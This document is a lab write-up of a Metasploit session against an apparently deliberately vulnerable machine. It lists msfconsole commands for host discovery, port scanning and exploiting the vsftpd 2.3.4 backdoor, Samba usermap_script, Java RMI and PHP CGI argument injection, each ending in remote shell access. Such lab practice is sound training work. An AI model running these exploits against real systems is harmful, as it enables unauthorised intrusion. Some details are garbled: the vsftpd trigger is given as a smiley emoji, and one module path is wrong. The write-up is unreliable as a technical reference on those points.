Experiment Overview
This session focuses on the Metasploit Framework, an open-source platform designed for vulnerability assessment and penetration testing. It offers a comprehensive set of tools and modules to identify, exploit, and validate software weaknesses.
Initial Reconnaisance
Host Discovery
Use auxiliary modules like arp_sweep to detect live hosts on the network. Search for and execute the module using search arp_sweep followed by use auxiliary/scanner/local/arp_sweep.
Successful identification of the target machine was achieved.
Port Scanning
Conduct port scanning using nmap or auxiliary modules such as auxiliary/scanner/portscan/tcp. Identify open ports and services running on the target system.
The target was found to be running Samba 3.0.20-Debian.
Exploitation Steps
Vsftpd Backdoor (Port 21)
A backdoor exists in certain versions of the vsftpd service where a malicious payload is embedded. When a username ends with the smiley face character '😃', the server listens on port 6200 and allows arbitrary command execution.
Steps:
- Launch Metasploit Console (
msfconsole). - Load the exploit:
use exploit/unix/ftp/vsftpd_234_backdoor - Set target IP:
set RHOST <target_ip> - Execute:
exploit
Upon succesfull exploitation, run commands like uname -a, pwd, and id to confirm access.
Samba MS-RPC Command Injection (Port 139)
An issue in Samba's handling of password updates leads to command injection through unfiltered input passed to /bin/sh. This can allow an attacker to execute arbitrary commands with the permissions of the nobody user.
Steps:
- Load the exploit:
use exploit/multi/samba/usermap_script - Set target IP:
set RHOST <target_ip> - Execute:
exploit
Verify success with uname -a.
Java RMI Server Vulnerability (Port 1099)
Default configurations in Java RMI services allow unauthorized remote code execution via registry and activation services.
Steps:
- Confirm port 1099 is accessible.
- Load the exploit:
use exploit/multi/misc/java_rmi_server - Show configuration options:
show options - Set target IP:
set RHOST <target_ip> - Run exploit:
exploit - Access session:
sessions -i <session_id> - Enter Meterpreter shell:
shell - Validate with
whoami.
PHP CGI Argument Injection (Port 80)
Insecure parameter handling in PHP CGI scripts may lead to source code exposure and remote command execution.
Steps:
- Launch Metasploit Console (
msfconsole). - Select the exploit:
use exploit/multi/http/php_cgi_arg_injection - Set target IP:
set RHOST <target_ip> - Run:
exploit
Observations and Reflections
The experiment proceeded smoothly without encountering any issues. It provided hands-on experience with Metasploit and deepened understanding of several well-known vulnerabilities and their exploitation techniques.